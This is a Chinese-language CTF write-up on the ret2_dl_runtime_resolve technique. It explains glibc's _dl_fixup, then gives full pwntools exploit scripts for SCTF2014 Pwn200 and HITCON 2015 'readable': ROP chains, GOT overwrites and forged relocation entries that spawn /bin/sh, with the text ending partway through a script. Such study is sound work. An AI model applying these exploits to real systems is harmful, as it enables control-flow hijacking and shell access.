0xf7fee007 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
► 0xf7fee00b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe77e0>
arg[0]: 0xc
arg[1]: 0x8048670 ◂— imul ebp, dword ptr [esi + 0x70], 0x6e207475 /* 'input name:' */
0xf7fee010 <_dl_runtime_resolve+16> pop edx
0xf7fee011 <_dl_runtime_resolve+17> mov ecx, dword ptr [esp]
0xf7fee014 <_dl_runtime_resolve+20> mov dword ptr [esp], eax
0xf7fee017 <_dl_runtime_resolve+23> mov eax, dword ptr [esp + 4]
0xf7fee01b <_dl_runtime_resolve+27> ret 0xc
其采用了GNU风格
的语法,可读性
比较差。我们可以看到函数_dl_runtime_resolve()
调用了_dl_fixup(link_map,reloc_arg)
,后续操作都是在这个函数中完成的。
3.2.2、_dl_fixup()的内容
_dl_fixup()
的实现位于glibc/elf/dl-runtime.c
,其内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/* elf_machine_type_class()返回的重定位类型类。
ELF_RTYPE_CLASS_PLT表示此重定位不应由某些PLT符号满足,
ELF_RTYPE_CLASS_COPY意味着此重定位不应由可执行文件中的任何符号满足。
某些体系结构不支持copy重定位(引用外部变量)。 在这种情况下,我们将宏定义为零,以便自
动优化处理它们的代码。 ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA表示
共享库中定义的受保护数据的地址可能是外部的,即由于copy重定位。 */
/* 第一次调用每个PLT条目时,将通过PLT的特殊跳转调用此功能。 我们必须执行给定共享对象的PLT中指定的重定位,并将已解析的函数地址返回到跳转,这将重新启动对该地址的原始调用。 将来的调用将直接从PLT跳转到该功能。 */
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
//l为共享库或可执行文件ID,link_map结构指针。link_map结构链表第一个结点表示的是可执行文件。
//reloc_arg为所解析函数的重定位项在重定位表.rel.plt中的偏移
struct link_map *l, ElfW(Word) reloc_arg)
{
//D_PTR是一个宏定义,位于glibc/sysdeps/generic/ldsodefs.h中,用于通过link_map结构体寻址。
//通过link_map结构获取动态链接符号表.dynsym的地址
//ELFW宏用来拼接字符串,在这里实际上是为了自动兼容32和64位,Elf32_Sym或Elf64_Sym
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//通过link_map结构获取动态链接字符串表.dynstr的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//通过link_map结构获取重定位表.rel.plt中所求函数的重定位项的地址
//reloc_offset为所解析函数的重定位项在重定位表.rel.plt中的偏移
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//求出所求函数在动态链接符号表.dynsym中对应符号项的地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
//l_addr是共享库或可执行文件加载基址,rel_addr是重定位需要修改内容的地址,也就是.got.plt中所求函数对应项
//r_offset为相对虚拟地址,rel_addr为虚拟地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result; //查找函数的结果,其为定义函数的共享对象的加载基地址
DL_FIXUP_VALUE_TYPE value; //DL_FIXUP_VALUE_TYPE是fixup/profile_fixup返回值的类型。保存函数的真实地址。
/* 安全性检查,我们需要确定它是一个PLT的重定位项 */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* 查找目标符号。如果未使用常规查找规则,则不要在全局范围内查找。 */
//st_other定义了符号的可见性,__builtin_expect返回值为第一个参数
//#define ELF32_ST_VISIBILITY(o) ((o) & 0x03)
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //使用了常规查找规则
{
const struct r_found_version *version = NULL; //当前符号的版本
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
//获取动态符号版本表“.gnu.version”的地址
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx]; //得到当前所解析符号的版本
if (version->hash == 0)
version = NULL;
}
/* 我们需要保持范围不变,因此需要进行一些锁定。 对于无法卸载的对象或尚未使用任何线程的对象,这不是必需的。 */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
RTLD_ENABLE_FOREIGN_CALL;
//strtab + sym->st_name为所解析函数的符号在字符串表中的地址,result为定义函数的共享对象的加载基地址
//_dl_lookup_symbol_x的功能是在加载的共享对象的符号表中搜索符号的定义,其参数也许带有该符号的版本。
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* 我们已经完成了全局范围的工作。 */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
RTLD_FINALIZE_FOREIGN_CALL;
/* 当前result包含定义sym的共享对象的加载基地址(或link map)。 现在添加符号偏移量。 */
//value为所求函数的真实内存地址
//SYMBOL_ADDRESS(map, ref, map_set):如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。
//如果MAP_SET为TRUE,请勿检查NULL映射。
value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false));
}
else //未使用常规查找规则
{
/* 我们已经找到了符号。 模块(及其加载地址)也是已知的。 */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
//elf_machine_plt_value返回PLT重定位的最终值。在x86-64上JUMP_SLOT重定位忽略addend。
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* 最后,修复PLT本身。 */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
//向所查找函数对应的GOT表中填写找到的函数的真实地址。
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
_dl_fixup(l,reloc_arg)
有两个参数,l
是link_map结构的指针,reloc_arg
是所解析函数的重定位项
在重定位表.rel.plt
中的偏移
或下标
。32位
的reloc_arg
和64位
的有区别:32位使用reloc_offset
, 64位使用reloc_index
。1
2
3
4
5
6const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
上面几句的作用是从link_map
结构中获取动态链接符号表“.dynsym”
、动态链接字符串表“.dynstr”
的首地址
,重定位表“.rel.plt”
中所求函数的重定位项
的地址,所求函数在动态链接符号表“.dynsym”
中对应项的地址
,以及重定位需要修改内容
的地址rel_addr
。
接下来主要是调用了_dl_lookup_symbol_x()
函数,_dl_lookup_symbol_x()
的功能是在加载的共享对象的符号表
中搜索符号的定义
,其参数
也许带有该符号的版本
。它的返回值
为定义所求函数的共享对象的加载基址
。1
2
3
4//strtab + sym->st_name为所解析函数的符号在字符串表中的地址,result为定义函数的共享对象的加载基地址
//_dl_lookup_symbol_x的功能是在加载的共享对象的符号表中搜索符号的定义,其参数也许带有该符号的版本。
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym,
l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
_dl_lookup_symbol_x()
函数的内容比较多,这里就不详细介绍了,准备再写一篇文章,详细介绍Linux下库函数的动态链接过程。其有8个参数
:
参数1
:strtab + sym->st_name
,是指向所要重定位的符号的字符串的指针。参数2
:l
,_dl_fixup()函数传进来的link_map结构体链表指针,目前指向第一个结点,即可执行文件对应的链表结点。参数3
:&sym
,sym是一个Elf32_Sym类型的结构体对象指针,其指向的是所求函数在动态链接符号表.dynsym中对应符号项。而&sym是这个结构体对象指针的地址。参数4
:l->l_scope
,此link map的查找范围(maps的范围)的指针数组。参数5
:version
,所搜索函数的符号版本结构体对象指针。参数6
:ELF_RTYPE_CLASS_PLT
,重定位elf_machine_type_class()返回的类型类。参数7
:flags
,标志变量。暂时没搞清楚功能。参数8
:*skip_map
,需要跳过的、不用搜索的link_map结构体指针。
_dl_lookup_symbol_x()
函数的返回值result
为定义函数的共享对象的加载基址
。之后我们可以看到使用了DL_FIXUP_MAKE_VALUE()
这个宏定义:1
2
3
4
5
6
7
8
9
10
11/* 当前result包含定义sym的共享对象的加载基地址(或link map)。 现在添加符号偏移量。 */
//value为所求函数的真实内存地址
//SYMBOL_ADDRESS(map, ref, map_set):如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。
//如果MAP_SET为TRUE,请勿检查NULL映射。
value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false));
/* 根据地址和link_map构造修正值 */
/* 如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。如果MAP_SET为TRUE,请勿检查NULL映射。 */
通过此宏定义,我们可以得到所求符号的真实内存地址
,即value
。通过一层层宏定义,我们可以知道,符号的真实地址
是存在符号项中的st_value
中的。之后,通过调用elf_machine_fixup_plt()
函数修复GOT表
,将重定位函数的真实地址
写入可执行文件中函数对应的GOT表项
中。1
2
3
4
5
6
7
8
9
10
11//向所查找函数对应的GOT表中填写找到的函数的真实地址。
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
static inline ElfW(Addr)
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
const ElfW(Rela) *reloc,
ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{
return *reloc_addr = value;
}
4、真题解析
4.0、ret2_dl_runtime_resolve适用情况
条件1
:题目未给出libc库
。条件2
:程序未开启PIE保护
。如果开启了PIE保护
,则还需要通过泄露获取基地址。条件3
:程序未开启FULL RELRO
。
4.1、ret2_dl_runtime_resolve利用方式
4.2、x86的情况——SCTF2014 Pwn200
1、检查程序开启的保护机制
1 | $ checksec pwn200 |
可以看到此程序只开启了NX(堆栈不可执行)
。
2、静态分析
IDA反编译后主函数
如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22ssize_t main1()
{
char slogan; // [esp+1Ch] [ebp-9Ch] 0x80 = 128
char name[16]; // [esp+9Ch] [ebp-1Ch]
size_t nbytes; // [esp+ACh] [ebp-Ch] 32程序size_t大小为4bytes
nbytes = 16;
*name = 0;
*&name[4] = 0;
*&name[8] = 0;
*&name[12] = 0;
memset(&slogan, 0, 128u);
write(1, "input name:", 12u);
// name的大小为16byte,多读一个字节,覆盖了后面的数据
read(0, name, nbytes + 1);
// 检查输入长度,name输入长度最长为10byte,并且name前8个字节为"syclover"
if ( strlen(name) - 1 > 9 || strncmp("syclover", name, 8u) )
return -1;
write(1, "input slogan:", 14u);
read(0, &slogan, nbytes);
return write(1, &slogan, nbytes);
}
我们通过分析,可以知道,程序需要两次输入
,第一次
输入“name”,第二次
输入“slogan”。name
的大小为16byte
,但是程序在读取输入的时候,最多可以读取17byte
,多了一个字节,这会覆盖后面的nbytes
。如果覆盖为0xFF
,则会在后面从标准输入读取“slogan”
的时候,读取的最大长度
变为255byte
,而“slogan”的实际大小
只有128byte
,这就会导致覆盖栈上的函数的EBP
和返回地址
。如果输入的数据是经过精心构造
过的,就可以劫持程序的控制流
。
在“name”
输入完后,程序会对输入的长度
和内容
进行判断。长度最长为10byte
,并且前8个字节
为“syclover”
。我们可以使用“\x00”截断
,对长度判断进行绕过。
3、方法一:使用题目提供的libc库,进行利用
利用思路:
- 1、程序从
标准输入
读取“name”
的时候,利用“\x00”
绕过strlen()
的长度验证,输入构造的17bytes
数据,将nbytes
修改为“0xFF”
。
1 | name = "syclover\x00\xff\xff\xff\xff\xff\xff\xff\xff" |
- 2、程序从
标准输入
读取“slogan”
的时候,输入精心构造的一段ROP的shellcode
,劫持程序的控制流。首先利用write函数
泄露出read函数的地址
,然后根据libc
中read函数
和system函数
的相对偏移,计算出system函数的真实地址
。再通过read函数
修改strlen的GOT表
。
1 | shellcode = "" |
- 3、程序再次从
标准输入
读取“name”
的时候,传入字符串“/bin/sh”
。当执行到strlen函数
的时候,实际上执行的是system函数
,参数即为“/bin/sh”
。
完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *
context.clear()
context.log_level = 'debug'
context.binary ='./pwn200'
context = {'arch':'i386','bits':'32','endian':'little','os':'linux'}
def str_to_hex(str):
return ''.join(['\\x' + '%02X' % ord(c) for c in str])
def get_io():
if args['REMOTE']:
io = remote('218.2.197.235',10101)
else:
io = process('./pwn200')
# io = gdb.debug('./pwn200','''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')
return io
def pwn(io):
# gdb.attach(io,'''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')
# raw_input('[1] before receive "input name:\x00"')
io.recvuntil("input name:\x00")
name = "syclover\x00".ljust(17,"\xff")
print "name:" + name
# raw_input('[2] before send name')
io.send(name)
# raw_input('[3] before receive "input slogan:\x00"')
io.recvuntil("input slogan:\x00")
ppp_ret = 0x08048646
write_plt = 0x080483A0
read_plt = 0x08048360
read_got = 0x08049850
strlen_got = 0x08049858
main_addr = 0x080484AC
shellcode = ""
shellcode += p32(write_plt) + p32(ppp_ret) + p32(0x01) + p32(read_got) + p32(0x04)
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0x00) + p32(strlen_got) + p32(0x04)
shellcode += p32(main_addr)
ebp = p32(0xdeadbeef)
payload = 'A'*0x90 + p32(0x04) + 'A'*8 + ebp + shellcode
print "payload_len:" + str(len(payload))
print "payload:" + payload[0:0x90] + str_to_hex(payload[0x90:0x94]) + payload[0x94:0x9C] + str_to_hex(payload[0x9C:])
# raw_input('[4] before send payload')
io.send(payload)
# raw_input('[5] before receive write_data')
write_data = io.recv(4)
print [c for c in write_data]
# raw_input('[6] before receive read_addr_data')
read_addr_data = io.recv(4)
print [c for c in read_addr_data]
read_addr = u32(read_addr_data)
print "read_addr:",hex(read_addr)
#libc_info = ELF("./libc.so",checksec = False)
libc_info = ELF("./libc-2.23.so",checksec = False)
system_offset = libc_info.symbols["system"]
read_offset = libc_info.symbols["read"]
print "system_offset:",hex(system_offset)
print "read_offset:",hex(read_offset)
libc_addr = read_addr - read_offset
system_addr = libc_addr + system_offset
print "system_addr:" + hex(system_addr)
# raw_input('[7] before send system_addr')
io.send(p32(system_addr))
io.recvuntil("input name:\x00")
# raw_input('[8] before send "/bin/sh"')
io.send("/bin/sh")
io.interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')
if __name__ == '__main__':
io = get_io()
pwn(io)
4、方法二:如果题目未提供libc库,使用ret2_dl_runtime_resolve方式进行利用
利用思路:
- 1、程序从
标准输入
读取“name”
的时候,利用“\x00”
绕过strlen()
的长度验证,输入构造的17bytes
数据,将nbytes
修改为“0xFF”
。
1 | name = "syclover\x00\xff\xff\xff\xff\xff\xff\xff\xff" |
- 2、程序从
标准输入
读取“slogan”
的时候,输入精心构造的一段ROP的shellcode
,劫持程序的控制流
。我们使用read函数
将伪造的system函数
的重定位表项数据
、符号表项数据
、字符串表项数据
以及参数“/bin/sh”
写入到内存中的可写区域
,这里选择bss节
之后的区域。 然后,返回到main函数
,进行下一次payload
的传递,用于解析system函数
地址,并调用system函数
。
1 | shellcode = "" |
- 3、程序从
标准输入
读取“name”
的时候,同第一步
一样。程序从标准输入
读取“slogan”
的时候,输入另一段
精心构造的一段ROP的shellcode
,劫持程序的控制流
。首先调用PLT0
处的代码,传入伪造的system函数重定位表项
相对于重定位表起始
的偏移量reloc_index
,利用_dl_runtime_resolve()函数
进行system函数地址
的解析。_dl_runtime_resolve()
函数解析完system函数
的地址后,就会调用system函数
。
1 | shellcode = "" |
完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *
context.clear()
context.log_level = 'debug'
context.binary = './pwn200'
context = {'arch':'i386','bits':'32','endian':'little','os':'linux'}
DT_JMPREL = 0x080482F8
DT_SYMTAB = 0x080481E0
DT_STRTAB = 0x08048260
DT_VERSYM = 0x080482C0
PLT0 = 0x08048350
BSS_Addr = 0x08049870
system_got = 0x080499A0
ppp_ret = 0x08048646
send_plt = 0x080483A0
read_plt = 0x08048360
read_got = 0x08049850
strlen_got = 0x08049858
main_addr = 0x080484AC
'''
typedef struct {
Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */ 4byte
Elf32_Word r_info; /* 重定位类型和符号表下标 */ 4byte
} Elf32_Rel;
'''
def generate_x86_reloc_data(sym_index,got_plt):
return p32(got_plt) + p32(0x07 + (sym_index<<8))
'''
typedef struct {
Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */ 4byte
Elf32_Addr st_value; /* 符号的值,可能是地址或偏移 */ 4byte
Elf32_Word st_size; /* 符号的大小 */ 4byte
unsigned char st_info; /* 符号类型及绑定属性 */ 1byte
unsigned char st_other; /* 符号的可见性 */ 1byte
Elf32_Section st_shndx; /* 节头表索引 */ 2byte
} Elf32_Sym;
'''
def generate_x86_sym_data(name_offset):
return p32(name_offset) + p32(0) + p32(0) + p32(0x12)
# BSS_Addr(0x08049870) = DT_JMPREL(0x080482F8) + reloc_offset(0x1578)
reloc_offset = 0x1578
# sym_data_addr(0x080499C0) = DT_SYMTAB(0x080481E0) + sym_index(0x17e) * 16 (not useful)
reloc_data_addr = BSS_Addr
reloc_data = generate_x86_reloc_data(0x17e,system_got)
# func_name_addr(0x080499E0) = DT_STRTAB(0x08048260) + name_offset(0x1780)
sym_data_addr = 0x080499C0
sym_data = generate_x86_sym_data(0x1780)
# func_name_addr(0x080499E0) = sym_data_addr + 0x20
func_name_addr = sym_data_addr + 0x20
func_name = "system\x00"
# binsh_str_addr(0x080499F0) = func_name_addr + 0x10
binsh_str_addr = func_name_addr + 0x10
binsh_str = "/bin/sh\x00"
def str_to_hex(str):
return ''.join(['\\x' + '%02X' % ord(c) for c in str])
def get_io():
if args['REMOTE']:
io = remote('218.2.197.235',10101)
else:
io = process('./pwn200')
# io = gdb.debug('./pwn200','''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')
return io
def pwn(io):
# gdb.attach(io,'''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')
print "----------------Stage1: Fake system's reloc_data,sym_data and str_data.----------------"
# raw_input('[1] before receive "input name:\x00"')
io.recvuntil("input name:\x00")
name = "syclover\x00".ljust(17,"\xff")
# raw_input('[2] before send name')
io.send(name)
print "name:" + name
# raw_input('[3] before receive "input slogan:\x00"')
io.recvuntil("input slogan:\x00")
shellcode = ""
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(reloc_data_addr) + p32(len(reloc_data))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(sym_data_addr) + p32(len(sym_data))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(func_name_addr) + p32(len(func_name))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(binsh_str_addr) + p32(len(binsh_str))
shellcode += p32(main_addr)
ebp = p32(0xdeadbeef)
payload = 'A'*0x90 + p32(0) + 'A'*8 + ebp + shellcode
print "payload_len:" + str(len(payload))
print "payload:" + payload[0:0x90] + str_to_hex(payload[0x90:0x94]) + payload[0x94:0x9C] + str_to_hex(payload[0x9C:])
# raw_input('[4] before send payload')
io.send(payload)
# raw_input('[5] before send reloc_data')
io.send(reloc_data)
# raw_input('[6] before send sym_data')
io.send(sym_data)
# raw_input('[7] before send func_name')
io.send(func_name)
# raw_input('[8] before send binsh_str')
io.send(binsh_str)
print "----------------Stage2: Call system(\"/bin/sh\")----------------"
# raw_input('[9] before receive "input name:\x00"')
io.recvuntil("input name:\x00")
name = "syclover\x00".ljust(17,"\xff")
# raw_input('[10] before send name')
io.send(name)
print "name:" + name
# raw_input('[11] before receive "input slogan:\x00"')
io.recvuntil("input slogan:\x00")
shellcode = ""
shellcode += p32(PLT0) + p32(reloc_offset) + p32(main_addr) + p32(binsh_str_addr)
payload = 'A'*0x90 + p32(0) + 'A'*8 + ebp + shellcode
print "payload_len:" + str(len(payload))
print "payload:" + payload[0:0x90] + str_to_hex(payload[0x90:0x94]) + payload[0x94:0x9C] + str_to_hex(payload[0x9C:])
# raw_input('[12] before send payload')
io.send(payload)
io.interactive()
if __name__ == '__main__':
io = get_io()
pwn(io)
4.3、x64的情况——HITCON CTF 2015–readable
0、x86情况与x64情况的不同之处
1、相关结构体大小
不同:
动态链接重定位表“.rel.plt”
:x86情况
使用Elf32_Rel
,大小为2*4=8字节
。x64情况
使用Elf64_Rela
,大小为3*8=24字节
。x86情况
的结构体成员r_info
中符号表下标
和重定位类型
分别占用3字节
和1字节
。x64情况
的结构体成员r_info
中符号表下标
和重定位类型
分别占用4字节
和4字节
。动态链接符号表“.dynsym”
:x86情况
使用Elf32_Sym
,大小为4*4=16字节
。x64情况
使用Elf64_Sym
,大小为3*8=24字节
。x86情况
和x64情况
结构体成员的顺序不同。
2、reloc_arg含义
不同:
- 1、
x86情况
:reloc_arg == reloc_offset
,含义是所重定位符号的重定位项
距离重定位表“.rel.plt”
起始位置的偏移
。重定位项地址reloc = JMPREL + reloc_offset
。- 2、
x64情况
:reloc_arg == reloc_index
,含义是所重定位符号的重定位项
在重定位表“.rel.plt”
中的下标
。重定位项地址reloc = JMPREL + reloc_index*3*8
。
3、符号版本表(.gnu.version)
1
2
3
4
5
6
7
8
9
10
11if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
//获取动态符号版本表“.gnu.version”的地址
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
//ndx是当前符号所使用的glibc库版本在版本需要表(.gnu.version_r)中的版本结构体的vna_other成员的值
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
//l_version数组存储的是版本需要表(.gnu.version_r)中包含的二进制程序实际依赖的glibc库版本结构体指针
version = &l->l_versions[ndx]; //得到当前所解析符号的glibc库版本信息
if (version->hash == 0)
version = NULL;
}
这段代码取r_info的高位
作为符号版本表vernum(.gnu.version)
的下标
,访问对应的值并赋给ndx
,ndx
再作为l_versions
表的下标
,找到对应的值赋给version
。ndx
是当前符号所使用的glibc库版本
在版本需要表(.gnu.version_r)
中的版本结构体(Elfxx_Vernaux)
的vna_other
成员的值。l_versions
是结构体r_found_version
的数组。version
表示的是版本需要表(.gnu.version_r)
中包含的此ELF文件
实际依赖的glibc库版本结构体(r_found_version)
的指针。
64位情况
下,我们构造的fake链
一般位于bss节
(64位
下,bss节
一般位于0x600000
之后),重定位表“.rela.plt”
一般在0x400000
左右,所以我们构造的r_info的高位(sym_index)
和reloc_arg
一般会很大。又因为计算符号项地址&symtab[ELFW(R_SYM) (reloc->r_info)]
和符号版本项地址vernum[ELFW(R_SYM) (reloc->r_info)]
时,数组的数据类型
的大小不同(symtab
中的结构体大小为0x18字节
,vernum
的数据类型为uint16_t
,大小为0x2字节
),这就导致vernum[ELFW(R_SYM) (reloc->r_info)]
大概率会访问到0x400000
到0x600000
之间的不可读区域
(64位下,这个区间一般不可读),使得程序报错。
32位情况
下,我们构造的r_info的高位(sym_index)
和reloc_arg
很小,所以计算vernum[ELFW(R_SYM) (reloc->r_info)]
== vernum + sym_index*2
时,不会访问到不可访问
的区域。所以我们只要让vernum + sym_index*2
访问到的ndx值合理
即可。关于ndx的取值范围
在我的另一篇文章中有介绍,但也只是猜测
。——RCTF2015-WriteUp(Pwn)
。
为了防止
出现这个错误,我们有几种方法。
方法一:
我们需要修改判断流程
,使得l->l_info[VERSYMIDX (DT_VERSYM)]
为0,从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]
在64位
中的位置就是link_map+0x1c8
。对应的,32位
下为link_map+0xe4
,所以我们需要泄露link_map地址
,将其置为0。这种攻击方式依赖源程序
自带的输出函数
。方法二:
使得vernum[ELFW(R_SYM) (reloc->r_info)]
==vernum + sym_index*2
可读,并且读出的ndx值合理
。我们可以通过修改.dynamic节
中DT_VERSYM动态节类型
所对应的动态节表项
,使vernum表的地址
改变。然后影响vernum + sym_index*2
的计算结果,使得到符号版本表项的地址
可读,并且此地址处的ndx值合理
。ndx的值
一般不宜太大,设为0x0000
应该是通用的。这种攻击方式依赖源程序
自带的输入函数
。能够任意地址写。
1、检查程序开启的保护机制
1 | $ checksec readable |
可以看到此程序只开启了NX(堆栈不可执行)
。
2、静态分析
IDA反编译后主函数
如下:1
2
3
4
5
6ssize_t __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-10h] buf大小只有16byte
return read(0, &buf, 32uLL);
}
这道题的漏洞
很明显,buf的实际大小
只有16byte
,但是read()函数却最大可以读取32byte
,这就造成了栈溢出
,会覆盖rbp
和ret_address
。通过将ret_address
覆盖为main函数的入口地址
,从而对漏洞实现多次利用
,达到任意地址写
的目的。由于只有任意地址写权限
,而没有读权限
,因此几乎无法泄露信息
,利用常规方法则会比较难。
3、方法一:爆破read()中syscall的偏移,并修改eax为0x3b,调用execve(“/bin/sh”,0,0)
利用思路:
- 1、爆破获取
read函数
中调用syscall的偏移
,并将其覆盖到read的GOT表内容
的最后一个字节
,再将eax
修改成0x3b
,然后将“/bin/sh”
压入栈,并将rdi
指向它,同时将rsi
和rdx
分别设置为0
,相当于调用了execve("/bin/sh",0,0)
,从而实现shell的获取。
每个系统调用
中都有如下的实现:1
2
3
4
5
6
7
8
9
10
11;read函数
<read+n> mov eax,0x0
<read+(n+5)> syscall
;write函数
<write+n> mov eax,0x1
<write+(n+5)> syscall
;execve函数
<execve+n> mov eax,0x3b
<execve+(n+5)> syscall
- 2、如果知道了
read函数
中syscall
距离read函数起始位置
的偏移
,那么直接将read的GOT表内容
的最后一个字节
修改为此偏移
,同时通过read函数
读取系统调用号长度
的内容,使eax
修改为系统调用号
。这样,调用read函数
的时候就相当于执行其他系统调用
了。爆破syscall偏移
的时候利用write函数
进行打印测试
,如果能够正常打印
,则说明爆破出的syscall偏移
是正确的
,否则程序读取不到相关信息。
完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *
context.clear()
# context.log_level = 'debug'
context.binary = './readable'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}
bss_addr = 0x600910
buff_addr = bss_addr + 0x20
main_addr = 0x400505
head_addr = 0x400000
set_args_addr = 0x40058A # rbx,rbp,r12,r13,r14,r15
call_func_addr = 0x400570 #__libc_csu_init中的通用gadget
read_got = 0x6008E8
leave_ret = 0x400520
def get_io():
if args['REMOTE']:
io = remote('52.68.53.28',56746)
else:
io = process('./readable')
# io = gdb.debug('./readable','bp 0x400579') # get_syscall_dis()
io = gdb.debug('./readable','''bp 0x4004FD
bp 0x40051B''')
return io
def brute_syscall_addr(io,dis):
shellcode = ""
shellcode += p64(set_args_addr)
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x01) + p64(read_got) + p64(0x0)
